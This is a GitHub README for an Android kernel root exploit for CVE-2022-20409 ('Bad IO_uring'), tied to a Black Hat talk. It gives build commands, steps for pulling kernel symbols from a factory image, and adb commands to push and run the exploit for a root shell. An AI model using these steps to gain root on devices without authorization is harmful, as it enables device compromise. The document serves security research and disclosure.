Markakd / bad_io_uring

Android kernel exploitation for CVE-2022-20409

Bad IO_uring

https://www.blackhat.com/us-23/briefings/schedule/index.html#bad-io_uring-a-new-era-of-rooting-for-android-32243

Build the exploit

Make sure the Android NDK is installed. For pixel 6,

make pixel

For samsung s22,

make s22

How to use the exploit

The exploit is written to support different versions of kernels. In order to port the exploit to a different kernel, you need to extract the symbol file of the target kernel.

The kernel could be extract from the factory image of the phone. For Pixels, download the factory image here.

After downloading the image, extract the image to get boot.img file. boot.img can be extracted with tools/unpack_bootimg.py.

python3 tools/unpack_bootimg.py --boot_img boot.img --out out

You will see the kernel at out/kernel

Now, with the kernel image, we can use vmlinux-to-elf to extract kernel symbols from it.

./tools/vmlinux-to-elf/kallsyms-finder out/kernel > pixel.kallsyms

You have to make sure the Version string extracted in the symbol matches your phone's kernel version. The kernel version of the phone could be looked up through adb. For example,

sh-3.2$ adb shell
oriole:/ $ uname -a
Linux localhost 5.10.66-android12-9-00007-g66c74c58ab38-ab8262750 #1 SMP PREEMPT Mon Mar 7 01:27:36 UTC 2022 aarch64

matches

[+] Version string: Linux version 5.10.66-android12-9-00007-g66c74c58ab38-ab8262750 (build-user@build-host) (Android (7284624, based on r416183b) clang version 12.0.5 (https://android.googlesource.com/toolchain/llvm-project c935d99d7cf2016289302412d708641d52d2f7ee), LLD 12.0.5 (/buildbot/src/android/llvm-toolchain/out/llvm-project/lld c935d99d7cf2016289302412d708641d52d2f7ee)) #1 SMP PREEMPT Mon Mar 7 01:27:36 UTC 2022

Now you can push the exploit and the symbol file to the phone and get it rooted with the following commands.

make
adb push exp pixel.kallsyms /data/local/tmp
adb shell
cd /data/local/tmp
./exp pixel.kallsyms

Enjoy your root shell :)